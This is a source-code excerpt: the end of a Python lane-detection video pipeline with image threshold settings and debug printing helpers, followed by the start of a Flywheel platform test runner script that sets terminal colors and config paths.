'y_thr' : (70,255) ,\n 'mag_thr' : (35,255) ,\n 'dir_thr' : (40,65) ,\n 'sat_thr' : (110,255) ,\n 'lvl_thr' : (205,255),\n 'rgb_thr' : (205,255) ,\n 'hue_thr' : None \n }\n ## Dark Light Conditions ------------\n self.ImageThresholds[1]['low']= {\n 'ksize' : 7 ,\n 'x_thr' : ( 30,255) ,\n 'y_thr' : ( 30,255) , ## changed from ( 30,255) 2-26-20\n 'mag_thr' : ( 35,255) ,\n 'dir_thr' : ( 40, 65) ,\n 'sat_thr' : (160,255) , ## changed from (110,255) 2-26-20\n 'lvl_thr' : (205,255) ,\n 'rgb_thr' : (205,255) ,\n 'hue_thr' : None \n }\n ## Dark Light Conditions ------------\n self.ImageThresholds[1]['vlow']= {\n 'ksize' : 7 ,\n 'x_thr' : ( 30,255) ,\n 'y_thr' : ( 30,255) , ## changed from ( 30,255) 2-26-20\n 'mag_thr' : ( 35,255) ,\n 'dir_thr' : ( 40, 65) ,\n 'sat_thr' : (160,255) , ## changed from (110,255) 2-26-20\n 'lvl_thr' : (205,255) ,\n 'rgb_thr' : (205,255) ,\n 'hue_thr' : None \n }\n self.ImageThresholds[1]['hisat'] = {\n 'ksize' : 7 ,\n 'x_thr' : (30,255) ,\n 'y_thr' : (70,255) ,\n 'mag_thr' : (35,255) ,\n 'dir_thr' : (40,65) ,\n 'sat_thr' : (110,255) ,\n 'lvl_thr' : (205, 255),\n 'rgb_thr' : (205,255) ,\n 'hue_thr' : None \n }\n self.ImageThresholds[1]['lowsat']= {\n 'ksize' : 7 ,\n 'x_thr' : (45,255) ,\n 'y_thr' : None ,\n 'mag_thr' : None , ### (25,250) ,\n 'dir_thr' : None ,\n 'sat_thr' : None ,\n 'lvl_thr' : None ,\n 'rgb_thr' : None ,\n 'hue_thr' : ( 15, 50)\n }\n\n \n ##------------------------------------\n ## Warped Image Threshold params\n ##------------------------------------\n\n self.thresholdMethods[2]['xhigh'] = self.XHIGH_THRESHOLDING \n self.thresholdMethods[2]['high'] = self.HIGH_THRESHOLDING \n self.thresholdMethods[2]['med'] = self.NORMAL_THRESHOLDING \n self.thresholdMethods[2]['low'] = self.LOW_THRESHOLDING \n self.thresholdMethods[2]['vlow'] = self.VLOW_THRESHOLDING \n self.thresholdMethods[2]['hisat'] = self.HISAT_THRESHOLDING \n self.thresholdMethods[2]['lowsat'] = self.LOWSAT_THRESHOLDING \n\n self.ImageThresholds[2]['xhigh'] = {\n 'ksize' : 7 , \n 'x_thr' : (30,255) ,\n 'y_thr' : (70,255) ,\n 'mag_thr' : (10,50) ,\n 'dir_thr' : (0,30) ,\n 'sat_thr' : (60, 255) , ### (80, 255) ,\n 'lvl_thr' : (180,255) ,\n 'rgb_thr' : (180,255) ,\n 'hue_thr' : None \n }\n ## Normal Light Conditions ------------\n self.ImageThresholds[2]['high'] = {\n 'ksize' : 7 , \n 'x_thr' : (30,255) ,\n 'y_thr' : (70,255) ,\n 'mag_thr' : (10,50) ,\n 'dir_thr' : (0,30) ,\n 'sat_thr' : (60, 255) , ### (80, 255) ,\n 'lvl_thr' : (180,255) ,\n 'rgb_thr' : (180,255) ,\n 'hue_thr' : None \n }\n\n self.ImageThresholds[2]['med'] = {\n 'ksize' : 7 , \n 'x_thr' : (30,255) ,\n 'y_thr' : (70,255) ,\n 'mag_thr' : (10,50) ,\n 'dir_thr' : (0,30) ,\n 'sat_thr' : (60, 255) , ### (80, 255) ,\n 'lvl_thr' : (180,255) ,\n 'rgb_thr' : (180,255) ,\n 'hue_thr' : None \n }\n ## dark conditions--------------\n self.ImageThresholds[2]['low'] = {\n 'ksize' : 7 ,\n 'x_thr' : (70,255) ,\n 'y_thr' : (70,255) ,\n 'mag_thr' : (5, 100) , ### (25,250) ,\n 'dir_thr' : (0,30) ,\n 'sat_thr' : (130,255) ,\n 'lvl_thr' : (200,255) ,\n 'rgb_thr' : (200,255) ,\n 'hue_thr' : ( 15, 50) \n }\n ## dark conditions--------------\n self.ImageThresholds[2]['vlow'] = {\n 'ksize' : 7 ,\n 'x_thr' : (70,255) ,\n 'y_thr' : (70,255) ,\n 'mag_thr' : (5, 100) , ### (25,250) ,\n 'dir_thr' : (0,30) ,\n 'sat_thr' : (130,255) ,\n 'lvl_thr' : (200,255) ,\n 'rgb_thr' : (200,255) ,\n 'hue_thr' : ( 15, 50) \n }\n\n self.ImageThresholds[2]['hisat'] = {\n 'ksize' : 7 , \n 'x_thr' : (30,255) ,\n 'y_thr' : (70,255) ,\n 'mag_thr' : (10,50) ,\n 'dir_thr' : (0,30) ,\n 'sat_thr' : (60, 255) , ### (80, 255) ,\n 'lvl_thr' : (180,255) ,\n 'rgb_thr' : (180,255) ,\n 'hue_thr' : None \n }\n\n self.ImageThresholds[2]['lowsat']= {\n 'ksize' : 7 ,\n 'x_thr' : (45,255) ,\n 'y_thr' : None ,\n 'mag_thr' : None , ### (25,250) ,\n 'dir_thr' : None ,\n 'sat_thr' : None ,\n 'lvl_thr' : None ,\n 'rgb_thr' : None ,\n 'hue_thr' : ( 15, 50)\n }\n\n self.thresholds_to_str()\n\n\n def thresholds_to_str(self, debug = False):\n for mode in [1,2]:\n for cond in self.ImageThresholds[mode].keys():\n if debug:\n print(mode , ' Threshold key: ',cond)\n self.itStr[mode][cond] = {}\n for thr in self.ImageThresholds[mode][cond].keys():\n self.itStr[mode][cond][thr] = str(self.ImageThresholds[mode][cond][thr])\n if debug:\n print(' thr : ', thr, ' ', self.ImageThresholds[mode][cond][thr])\n\n\n\n def display_thresholds(self, mode = None):\n line_length = 148\n line_prefix = ' ' * 2\n if mode is None:\n mode = [self.mode]\n if isinstance(mode, int):\n mode = [mode]\n print()\n\n thrshlds = ' Thresholds: HIGH RGB: {} MED RGB: {} LOW RGB: {} VLOW RGB: {} XHIGH SAT: {} HIGH SAT: {} LOW SAT: {} '.format(\n self.HIGH_RGB_THRESHOLD , self.MED_RGB_THRESHOLD , self.LOW_RGB_THRESHOLD, self.VLOW_RGB_THRESHOLD, \n self.XHIGH_SAT_THRESHOLD, self.HIGH_SAT_THRESHOLD, self.LOW_SAT_THRESHOLD)\n print( line_prefix, thrshlds.center(148))\n\n print()\n for mod in mode:\n print(line_prefix, '-' * line_length)\n print(line_prefix, '| {:8s} | {:^18s} | {:^16s} | {:^16s} | {:^16s} | {:^16s} || {:^16s} | {:^16s} |'.format('',\n 'PL[X-High]','PL[High]','PL[Med]','PL[Low]','PL[VLow]','PL[HiSat]','PL[LoSat]'))\n\n print(line_prefix, '| {:8s} | RGB>{:<3d} or SAT>{:<3d} |{:>4d} > RGB > {:<4d} |{:>4d} > RGB > {:<4d} |{:>4d} > RGB > {:<4d} |'\\\n ' RGB < {:<4d} || SAT > {:<4d} | SAT < {:<4d} |'.format('', self.HIGH_RGB_THRESHOLD, self.XHIGH_SAT_THRESHOLD, \n self.HIGH_RGB_THRESHOLD, self.MED_RGB_THRESHOLD, self.MED_RGB_THRESHOLD , self.LOW_RGB_THRESHOLD ,\n self.LOW_RGB_THRESHOLD , self.VLOW_RGB_THRESHOLD, self.VLOW_RGB_THRESHOLD, self.HIGH_SAT_THRESHOLD, self.LOW_SAT_THRESHOLD))\n \n print(line_prefix, '-' * line_length)\n print(line_prefix, '| Mode{:2d} : {:^18s} | {:^16s} | {:^16s} | {:^16s} | {:^16s} || {:^16s} | {:^16s} |'.format(mod,\n self.thresholdMethods[mod]['xhigh'], self.thresholdMethods[mod]['high'], \n self.thresholdMethods[mod]['med'] , self.thresholdMethods[mod]['low'], \n self.thresholdMethods[mod]['vlow'] , self.thresholdMethods[mod]['hisat'], self.thresholdMethods[mod]['lowsat']))\n \n print(line_prefix, '-' * line_length)\n\n for ke in self.ImageThresholds[mod]['xhigh'].keys():\n print(line_prefix, '| {:8s} : {:^18s} | {:^16s} | {:^16s} | {:^16s} | {:^16s} || {:^16s} | {:^16s} |'.format(ke, \n str(self.ImageThresholds[mod]['xhigh'][ke]) , \n str(self.ImageThresholds[mod]['high'][ke]) , \n str(self.ImageThresholds[mod]['med'][ke]) , \n str(self.ImageThresholds[mod]['low'][ke]) , \n str(self.ImageThresholds[mod]['vlow'][ke]) , \n str(self.ImageThresholds[mod]['hisat'][ke]), \n str(self.ImageThresholds[mod]['lowsat'][ke]) \n )) \n print(line_prefix, '-' * line_length)\n print()\n return \n\n ##--------------------------------------------------------------------------------------\n ##\n ##--------------------------------------------------------------------------------------\n def debugInfo_DetectedLanes(self, display = 3, size = (24,9)):\n \n self.prevBestFit = colorLanePixels(self.out_img, self.LeftLane, self.RightLane)\n\n if self.HISTORY > 1:\n self.prevBestFit = displayPolynomial(self.prevBestFit, self.LeftLane.fitted_best_history, self.RightLane.fitted_best_history, \n iteration = -2, color = 'aqua')\n self.prevBestFit = displayPolynomial(self.prevBestFit, self.LeftLane.proposed_curve, self.RightLane.proposed_curve, \n iteration = -1, color = 'yellow')\n\n # currentFit = displayPolynomial(prevBestFit, self.LeftLane.proposed_curve, self.RightLane.proposed_curve, iteration = -1, color = 'yellow')\n\n self.imgLanePxls = displayPolynomial(self.prevBestFit, self.LeftLane.fitted_best, self.RightLane.fitted_best, color = 'fuchsia', thickness = 2)\n if display:\n # print(' y_src_top_left : {} y_src_top_right: {} y_src_bot_left: {} y_src_bot_right: {}'.format(self.dst_points_list))\n # self.y_src_top, self.y_src_top, self.y_src_bot, self.y_src_bot)) \n if display in [1,3]:\n print(' x_src_top_left : {} x_src_top_right: {} x_src_bot_left: {} x_src_bot_right: {}'.format(\n self.src_points_list[0], self.src_points_list[1],self.src_points_list[3],self.src_points_list[2]))\n display_two(self.working_image, self.out_img, size = size, title1 = 'working_image - '+self.frameTitle, \n title2 = 'out_img ')\n if display in [2,3]:\n display_two(self.prevBestFit, self.imgLanePxls, size = size, title1 = 'Prev best fit (Cyan: Prev fit, Yellow: New proposal)' , \n title2 = 'ImgLanePxls (Cyan: Prev fit, Yellow: New proposal, Fuschia: New Best Fit)' )\n print()\n \n return \n\n\n def debugInfo_ImageSummaryInfo(self):\n print('Frame: {:4d} - {:.0f} ms - Image RGB: {:3.0f} ({:3.0f},{:3.0f},{:3.0f}) '\\\n ' WARPED RGB: {:3.0f} HLS: {:3.0f} H: {:3.0f} L: {:3.0f} S: {:3.0f}'\\\n ' {:5s} - {:10s}'.format(self.inVideo.currFrameNum, self.inVideo.currPos,\n self.imgUndistStats['RGB'][-1], \n self.imgUndistStats['Red'][-1], self.imgUndistStats['Grn'][-1], self.imgUndistStats['Blu'][-1],\n self.imgWarpedStats['RGB'][-1], self.imgWarpedStats['HLS'][-1], \n self.imgWarpedStats['Hue'][-1], self.imgWarpedStats['Lvl'][-1], self.imgWarpedStats['Sat'][-1], \n self.Conditions.upper(), self.thresholdMethod))\n if self.debug:\n print( ' Thresholds: HIGH RGB: {} MED RGB: {} LOW RGB: {} VLOW RGB: {} X-HIGH SAT: {} HIGH SAT: {} LOW SAT: {} '.\n format(self.HIGH_RGB_THRESHOLD, self.MED_RGB_THRESHOLD , self.LOW_RGB_THRESHOLD, \n self.VLOW_RGB_THRESHOLD, self.XHIGH_SAT_THRESHOLD, self.HIGH_SAT_THRESHOLD, self.LOW_SAT_THRESHOLD)) \n return\n\n\n def debugInfo_ImageInfo(self, frame = -1):\n print('Frame: {:4.0f} - Mode: {:2d} imgUndist - Avgs RGB: {:6.2f} HLS:{:6.2f} Sat: {:6.2f} Hue: {:6.2f} Lvl: {:6.2f}'\\\n ' -- {:5s} - {:10s}'.format( self.inVideo.currFrameNum, self.mode, \n self.imgUndistStats['RGB'][frame], self.imgUndistStats['HLS'][frame], \n self.imgUndistStats['Sat'][frame], self.imgUndistStats['Hue'][frame], \n self.imgUndistStats['Lvl'][frame], self.Conditions , self.thresholdMethod))\n \n print(' {:22s} imgWarped - Avgs RGB: {:6.2f} HLS:{:6.2f} Sat: {:6.2f} Hue: {:6.2f} Lvl: {:6.2f}'\\\n ' -- {:5s} - {:10s}'.format( '', \n self.imgWarpedStats['RGB'][frame], self.imgWarpedStats['HLS'][frame], \n self.imgWarpedStats['Sat'][frame], self.imgWarpedStats['Hue'][frame], \n self.imgWarpedStats['Lvl'][frame], self.Conditions , self.thresholdMethod))\n \n display_multi(self.inVideo.image, self.imgUndist, self.imgWarped, title3 = 'Warped', grid2 = 'minor')\n return\n\n\n def debugInfo_LaneDetInfo(self):\n imgPixelRatio, NztoSrchNzRatio, NztoImageNzRatio, ttlImageNZPixels, ttlLaneNZPixels = self.detStats\n print(' NZ pixels - in image : {:8d} search reg: {:8d} '\\\n ' Nz to imgPixel Ratio: %{:5.2f} Nz to SrchRegion Ratio : %{:5.2f} Nz to ImageNz Ratio: %{:5.2f}' .\n format(ttlImageNZPixels, ttlLaneNZPixels, imgPixelRatio , NztoSrchNzRatio, NztoImageNzRatio))\n print(' Detected Pixel Count L : {:8d} R : {:8d} Detected Pixel Ratio L: %{:5.2f} R: %{:5.2f} '.\n format(self.LeftLane.pixelCount[-1], self.RightLane.pixelCount[-1],\n self.LeftLane.pixelRatio[-1], self.RightLane.pixelRatio[-1]))\n return \n\n\n def debugInfo_ThresholdedImage(self):\n\n display_two(self.imgThrshld, self.working_image, title1 = self.thresholdMethod +' '+str(np.sum(self.imgThrshld)), \n title2 = 'After thresholding - '+str(np.sum(self.working_image)))\n return \n\n\n def debugInfo_srcPointsRoI(self, size = (24,9), title = None ):\n print()\n print(' x_top_disp : {:<13d} x_src_center : {:<13d} x_bot_disp : {:<4d} '.format(\n self.x_top_disp, self.x_src_center, self.x_bot_disp))\n print(' x_src_top_left : {:12s} x_src_top_right : {:12s} x_src_bot_left : {:12s} x_src_bot_right : {:12s}'.format(\n str(self.src_points_list[0]), str(self.src_points_list[1]), str(self.src_points_list[3]), str(self.src_points_list[2])))\n print(' y_src_top_left : {:12s} y_src_top_right : {:12s} y_src_bot_left : {:12s} y_src_bot_right : {:12s}'.format(\n str(self.dst_points_list[0]), str(self.dst_points_list[1]), str(self.dst_points_list[3]), str(self.dst_points_list[2]))) \n \n display_two(self.imgRoI , self.imgRoIWarped, title1 = title , grid1 = 'major',\n title2 = title + ' - after perspective transformation', grid2 = 'major', size = size)\n print()\n return \n\n\n def debugInfo_newSrcPointsRoI(self, display = True, size = (24,9), title = None):\n imgRoI = displayRoILines(self.imgUndist, self.dyn_src_points_list , color = 'blue', thickness = 2)\n imgRoIWarped, _, _ = perspectiveTransform(imgRoI , self.dyn_src_points , self.dst_points)\n imgRoIWarped = displayRoILines(imgRoIWarped , self.dst_points_list , thickness = 2, color = 'yellow')\n \n display_two(imgRoI , imgRoIWarped , title1 = title , grid1 = 'major',\n title2 = title+' - after perspective transformation ' , grid2 = 'major', size = size)\n return imgRoI, imgRoIWarped \n\n\n def debugInfo_DetectionTransform(self):\n self.debugInfo_DetectedLanes(display=0)\n\n # imgWarped, _, _ = perspectiveTransform(imgUnwarped , self.dyn_src_points , self.dst_points)\n imgWarped = cv2.warpPerspective(self.imgLanePxls, self.Minv, self.imgLanePxls.shape[1::-1], flags=cv2.INTER_LINEAR)\n display_two(self.imgLanePxls, imgWarped, title1 = 'Detection prewarped' , grid1 = 'minor',\n title2 = ' Detection - Warped' , grid2 = 'major', size = (24,9))\n return \n\n\n def debugInfo_RoITransforms(self):\n self.debugInfo_srcPointsRoI(title= 'source points prior to realignment')\n self.debugInfo_newSrcPointsRoI()\n return \n\n\n ##--------------------------------------------------------------------------------------\n ##\n ##--------------------------------------------------------------------------------------\n def debugInfo_displayFittingInfo(self):\n np_format = {}\n np_format['float'] = lambda x: \"%8.2f\" % x\n np_format['int'] = lambda x: \"%8d\" % x\n np.set_printoptions(linewidth=195, precision=4, floatmode='fixed', threshold =100, formatter = np_format)\n \n print()\n print('='*70)\n print('Display fitting info for ', self.frameTitle)\n print('='*70)\n\n print()\n print('Proposed Polynomial left : {} right : {} '.format(self.LeftLane.proposed_fit, self.RightLane.proposed_fit))\n print('Best Fit Polynomial left : {} right : {} '.format(self.LeftLane.best_fit, self.RightLane.best_fit))\n print('Diff(proposed,best_fit) left : {} right : {} '.format( self.LeftLane.best_fit-self.LeftLane.proposed_fit, \n self.RightLane.best_fit-self.RightLane.proposed_fit))\n print('RSE(Proposed,best fit): left : {:<30.3f} right : {:<30.3f} '.format(self.LeftLane.RSE ,self.RightLane.RSE ))\n print()\n\n\n # print()\n # print('Proposed Polynomial:')\n # print('-'*40)\n # print('left : {} right : {} '.format(self.LeftLane.proposed_fit, self.RightLane.proposed_fit))\n\n # if len(self.LeftLane.proposed_fit_history) > 1:\n print()\n print('Best Fit Polynomials:')\n print('-'*40)\n\n for idx in range(-1, -min(len(self.LeftLane.best_fit_history), self.HISTORY+1) , -1):\n ls, rs = self.LeftLane.best_fit_history[idx], self.RightLane.best_fit_history[idx]\n print('left[{:2d}] : {} right[{:2d}] : {} '.format(idx,ls, idx,rs))\n\n # print()\n # print('Diff b/w proposed and best_fit polynomial ')\n # print('-'*40)\n # print('left : {} right : {} '.format( self.LeftLane.best_fit-self.LeftLane.proposed_fit, \n # self.RightLane.best_fit-self.RightLane.proposed_fit) )\n # print()\n # print('Proposed RSE with best fit - self.LeftLane: {} RLane : {} '.format(self.LeftLane.RSE ,self.RightLane.RSE ))\n # print()\n #\n # print('Best RSE Hist LLane : ', self.LeftLane.RSE_history[-15:])\n # print('Best RSE Hist RLane : ', self.RightLane.RSE_history[-15:])\n # print('Best fit RSE Hist LeftLane : ', ['{:8.3f}'.format(i) for i in self.LeftLane.RSE_history])\n # print('Best fit RSE Hist RightLane : ', ['{:8.3f}'.format(i) for i in self.RightLane.RSE_history])\n \n print()\n print('-'*40)\n print('Previously proposed Polynomials:')\n print('-'*40)\n \n for idx in range(-1, -min(len(self.LeftLane.proposed_fit_history), self.HISTORY+1) , -1):\n ls, rs = self.LeftLane.proposed_fit_history[idx], self.RightLane.proposed_fit_history[idx]\n print('left[{:2d}] : {} right[{:2d}] : {} '.format(idx,ls, idx,rs))\n \n print()\n print('RSE History - Left : ', self.LeftLane.RSE_history[-15:])\n print('RSE History - Right : ', self.RightLane.RSE_history[-15:])\n \n # print('fit RSE Hist LeftLane : ', self.LeftLane.RSE_history[-15:])\n # print('fit RSE Hist RightLane : ', self.RightLane.RSE_history[-15:])\n # print('fit RSE Hist RightLane : ', ['{:8.3f}'.format(i) for i in self.RightLane.RSE_history])\n # print('fit RSE Hist LeftLane : ', ['{:8.3f}'.format(i) for i in self.LeftLane.RSE_history])\n\n\n ###--------------------------------------------------------------------------------------\n ### Radius of Curvature\n ###--------------------------------------------------------------------------------------\n print()\n print('-'*40) \n print('Lane Radius from proposed fit:')\n print('-'*40)\n ls = self.LeftLane.current_radius\n rs = self.RightLane.current_radius\n diff = np.round(np.array(rs)- np.array(ls),3)\n avg = np.round((np.array(rs) + np.array(ls))/2,3)\n print(' Y : ', self.LeftLane.y_checkpoints)\n print('left : ',ls , ' Avg:', np.round(np.mean(ls),3))\n print('right : ',rs , ' Avg:', np.round(np.mean(rs),3))\n print()\n print('avg : ',avg , ' Avg:', np.round(np.mean(avg),3))\n print('diff : ',diff, ' Max:', diff.max())\n\n if (self.HISTORY > 1) and len(self.LeftLane.best_fit_history) > 0:\n print()\n print('Lane Radius from BEST line fit:')\n print('-'*40)\n ls = self.LeftLane.best_radius\n rs = self.RightLane.best_radius\n diff = np.round(np.array(rs)- np.array(ls),3)\n avg = np.round((np.array(rs) + np.array(ls))/2,3)\n print(' Y : ', self.LeftLane.y_checkpoints)\n print('left : ', ls , ' Avg:', np.round(np.mean(ls),3))\n print('right : ', rs , ' Avg:', np.round(np.mean(rs),3))\n print()\n print('avg : ', avg , ' Avg:', np.round(np.mean(avg),3))\n print('diff : ', diff, ' Max:', diff.max())\n \n print()\n print('Hist LLane : ', [round(i,3) for i in self.LeftLane.radius_history[-10:]] )\n print('Hist RLane : ', [round(i,3) for i in self.RightLane.radius_history[-10:]])\n # print('Radius Diff History (m) : ', ['{:8.3f}'.format(i-j) for i,j in zip(RLane.radius, LLane.radius)])\n print('Avg LLane : past 5 frames: {:8.3f} past 10 frames: {:8.3f} '.format(self.LeftLane.radius_avg, \n np.round(np.mean( self.LeftLane.radius_history[-10:]),3)))\n print('Avg RLane : past 5 frames: {:8.3f} past 10 frames: {:8.3f} '.format(self.RightLane.radius_avg, \n np.round(np.mean(self.RightLane.radius_history[-10:]),3)))\n \n\n ###--------------------------------------------------------------------------------------\n ### Lane Slope\n ###--------------------------------------------------------------------------------------\n print()\n print('-'*40)\n print('Lane Slopes from latest proposed fit:')\n print('-'*40)\n ls = self.LeftLane.current_slope\n rs = self.RightLane.current_slope\n diff = np.round(np.array(rs)- np.array(ls),3)\n avg = np.round((np.array(rs) + np.array(ls))/2,3)\n print(' Y : ', self.LeftLane.y_checkpoints)\n print('left : ',ls , ' Avg:', np.round(np.mean(ls),3))\n print('right : ',rs , ' Avg:', np.round(np.mean(rs),3))\n print()\n print('avg : ',avg)\n print('diff : ',diff, ' Min/Max[700:480]: ', diff[0:5].min(), diff[0:5].max())\n\n if len(self.LeftLane.best_fit_history) > 0:\n print()\n print('Lane Slopes from BEST fit:') \n print('-'*40)\n ls = self.LeftLane.best_slope\n rs = self.RightLane.best_slope\n diff = np.round(np.array(rs)- np.array(ls),3)\n avg = np.round((np.array(rs) + np.array(ls))/2,3)\n print(' Y : ', self.LeftLane.y_checkpoints)\n print('left : ',ls , ' Avg:', np.round(np.mean(ls),3))\n print('right : ',rs , ' Avg:', np.round(np.mean(rs),3))\n print()\n print('avg : ',avg)\n print('diff : ',diff, ' Min/Max[700:480]: ', diff[0:5].min(), diff[0:5].max())\n\n print()\n print('Slope Hist LLane : ', [round(i,3) for i in self.LeftLane.slope[-10:]])\n print('Slope Hist RLane : ', [round(i,3) for i in self.RightLane.slope[-10:]])\n print('Slope Diff Hist : ', [round(i-j,3) for i,j in zip(self.RightLane.slope[-10:], self.LeftLane.slope[-10:])])\n \n ###--------------------------------------------------------------------------------------\n ### Lanes X position - Current frame\n ###--------------------------------------------------------------------------------------\n print()\n print('-'*40)\n print('Line X Position - PROPOSED FIT:')\n print('-'*40)\n ls = self.LeftLane.current_linepos\n rs = self.RightLane.current_linepos\n ls_min = ls.min()\n ls_max = ls.max()\n rs_min = rs.min()\n rs_max = rs.max()\n diff_pxl = np.round( np.array(rs)- np.array(ls),3)\n diff_pxl_min = diff_pxl.min()\n diff_pxl_max = diff_pxl.max()\n diff_mtr = np.round((np.array(rs)- np.array(ls))*self.LeftLane.MX,3)\n diff_mtr_min = diff_mtr.min()\n diff_mtr_max = diff_mtr.max()\n print(' Y : {}'.format(self.LeftLane.y_checkpoints))\n print(' Left X : {} Min: {:8.3f} Max: {:8.3f} spread{:8.3f}'.format(ls, ls_min, ls_max, ls_max - ls_min))\n print(' Right X : {} Min: {:8.3f} Max: {:8.3f} spread{:8.3f}'.format(rs, rs_min, rs_max, rs_max - rs_min))\n print('\\n diff pxl : {} Min: {:8.3f} Max: {:8.3f} spread{:8.3f}'.format(diff_pxl, diff_pxl_min, diff_pxl_max, diff_pxl_max - diff_pxl_min))\n print(' diff mtr : {} Min: {:8.3f} Max: {:8.3f} spread{:8.3f}'.format(diff_mtr, diff_mtr_min, diff_mtr_max, diff_mtr_max - diff_mtr_min))\n\n\n if len(self.LeftLane.best_fit_history) > 0:\n print()\n print('-'*40)\n print('Line X Position - BEST FIT:')\n print('-'*40)\n ls = self.LeftLane.best_linepos\n rs = self.RightLane.best_linepos\n ls_min = ls.min()\n ls_max = ls.max()\n rs_min = rs.min()\n rs_max = rs.max()\n diff_pxl = np.round( np.array(rs)- np.array(ls),3)\n diff_pxl_min = diff_pxl.min()\n diff_pxl_max = diff_pxl.max()\n diff_mtr = np.round((np.array(rs)- np.array(ls))*self.LeftLane.MX,3)\n diff_mtr_min = diff_mtr.min()\n diff_mtr_max = diff_mtr.max()\n print(' Y : {}'.format(self.LeftLane.y_checkpoints))\n print(' Left X : {} Min: {:8.3f} Max: {:8.3f} spread{:8.3f}'.format(ls, ls_min, ls_max, ls_max - ls_min))\n print(' Right X : {} Min: {:8.3f} Max: {:8.3f} spread{:8.3f}'.format(rs, rs_min, rs_max, rs_max - rs_min))\n print('\\n diff pxl : {} Min: {:8.3f} Max: {:8.3f} spread{:8.3f}'.format(diff_pxl, diff_pxl_min, diff_pxl_max, diff_pxl_max - diff_pxl_min))\n print(' diff mtr : {} Min: {:8.3f} Max: {:8.3f} spread{:8.3f}'.format(diff_mtr, diff_mtr_min, diff_mtr_max, diff_mtr_max - diff_mtr_min))\n \n print()\n print('-'*40)\n print('Line Base History:')\n print('-'*40)\n print('Linebase History Left (m): ', [round(i,3) for i in self.LeftLane.line_base_meters[-10:]])\n print('Linebase History Right (m): ', [round(i,3) for i in self.RightLane.line_base_meters[-10:]])\n print('Line width History (m): ', [round(i-j,3) for i,j in zip(self.RightLane.line_base_meters[-10:], \n self.LeftLane.line_base_meters[-10:])])\n display_one(self.histogram, size =(8,4) , title = self.frameTitle)\n\n\n # ax.plot(np.array(self.imgThrshldHistory), label = 'Normal/Dark')\n # ax.plot(self.diffsSrcDynPoints , label = 'SrcDynDiff')\n # ax.plot(self.WarpedRGBMean , label = 'Warped RGB Mean')\n # ax.plot(np.array(videoPipeline.RightLane.RSE_history), label = 'RLane RSE')\n # ax.plot(np.array(videoPipeline.LeftLane.RSE_history), label = 'LLane RSE') \n # ax.plot(videoPipeline.offctr_history, label='Off Center') ### , color=SCORE_COLORS[score_key])\n # ax.plot(np.array(Lane.LSE_history), label = 'LSE')\n # ax.plot(np.array(Lane.RSE_threshold_history), label = 'RSE Throld')\n\n # min_x = min(self.imgUndistStats['RGB'])\n # max_x = max(self.imgUndistStats['RGB'])\n # ax.plot(self.imgPixelRatio, label = 'Pixel Rto')\n # ax.plot(self.UndistRGBMean, label = 'Undist RGB Mean')\n # ax.plot(self.WarpedRGBMean, label = 'Warped RGB Mean')\n # ax.plot(self.diffsSrcDynPoints, label = 'SrcDynDiff')\n # ax.plot(np.array(self.imgAcceptHistory), label = 'Polynom Acpt/Rjct')\n # ax.plot(np.array(self.imgThrshldHistory), label = 'Normal/Dark')\n\n # ax.plot(self.imgUndistStats['Hue'], color='r', label='Hue' ) \n # ax.plot(self.imgUndistStats['Lvl'], color='g', label='Level') \n # ax.plot(self.imgUndistStats['Sat'], color='b', label='Sat' ) \n # ax.plot(self.imgUndistStats['RGB'] ,color='k', label='Mean')\n\n # ax.plot(self.imgUndistStats['Red'], color='r', label='Red') \n # ax.plot(self.imgUndistStats['Grn'], color='g', label='Grn') \n # ax.plot(self.imgUndistStats['Blu'], color='b', label='Blu') \n # ax.plot(self.imgUndistStats['RGB'] , label = 'Undist RGB Mean')\n\n # ax.plot(self.imgWarpedStats['Hue'], color='r', label='Hue (Warped)', linestyle='dashed')\n # ax.plot(self.imgWarpedStats['Lvl'], color='g', label='Lvl (Warped)', linestyle='dashed') \n # ax.plot(self.imgWarpedStats['Sat'], color='b', label='Sat (Warped)', linestyle='dashed')\n # ax.plot(self.imgWarpedStats['HLS'] ,color='k', label='HLS (Warped)', linestyle='dashed')\n\n # min_x = min(self.imgUndistStats['RGB'])\n # max_x = max(self.imgUndistStats['RGB'])\n\n # ax.plot(np.array(self.RightLane.RSE_history), label = 'RLane RSE')\n # ax.plot(self.diffsSrcDynPoints, label = 'SrcDynDiff')\n # ax.plot(self.LeftLane.pixelRatio , color='r', label='Left') \n\n # ax.plot(self.imgPixelRatio, label = 'Pixel Rto')\n # ax.plot(self.UndistRGBMean, label = 'Undist RGB Mean')\n # ax.plot(self.WarpedRGBMean, label = 'Warped RGB Mean')\n # ax.plot(self.diffsSrcDynPoints, label = 'SrcDynDiff')\n # ax.plot(np.array(self.imgAcceptHistory), label = 'Polynom Acpt/Rjct')\n # ax.plot(np.array(self.imgThrshldHistory), label = 'Normal/Dark')\n","sub_path":"classes/videopipeline.py","file_name":"videopipeline.py","file_ext":"py","file_size_in_byte":96345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"521252614","text":"#!/usr/bin/env python3\n\"\"\"Run all tests ./tests/platform_tests/*.py and monitor results.\n\nExample:\n tests/platform_tests/run-platform-tests.py\n\n\"\"\"\n\nimport argparse\nimport importlib\nimport json\nimport os\nimport sys\nimport tempfile\nimport time\nfrom pathlib import Path\n\nimport flywheel\nimport pandas as pd\nfrom flywheel_bids.upload_bids import upload_bids\nfrom flywheel_gear_toolkit.utils.zip_tools import unzip_archive\n\n# See https://en.wikipedia.org/wiki/ANSI_escape_code#Colors\n# use colors like:\n# print(f\"{CY}Yellow Text{C0}\")\nC0 = \"\\x1b[0m\" # Reset\nCR = \"\\x1b[38;5;9m\" # Red\nCG = \"\\x1b[38;5;10m\" # Green\nCP = \"\\x1b[38;5;12m\" # purple\nCB = \"\\x1b[38;5;27m\" # Blue\nCM = \"\\x1b[38;5;13m\" # Magenta\nCC = \"\\x1b[38;5;14m\" # Cyan\nCY = \"\\x1b[38;5;11m\" # Yellow\nCO = \"\\x1b[38;5;202m\" # Orange\n\nCONFIG = Path(\"tests/platform_tests/config.tsv\")\n\nDATA_PATH = (\n Path().home()\n / \"Flywheel/gitlab/flywheel-io/scientific-solutions/data-registry/data/raw/bids\"\n)\n\nKEY_FILE = Path.home() / \"Flywheel/bin/.keys.json\"\n\"\"\"KEY_FILE be like:\n{\n \"default\": \"andyworth@flywheel.io\",\n \"ids\": {\n\n \"andyworth@flywheel.io\": {\n \"ss.ce\": \"ss.ce.flywheel.io:abcdefgHIJKLMNOPQR\",\n \"ga.ce\": \"ga.ce.flywheel.io:abcdefgHIJKLMNOPQR\",\n \"rollout.ce\": 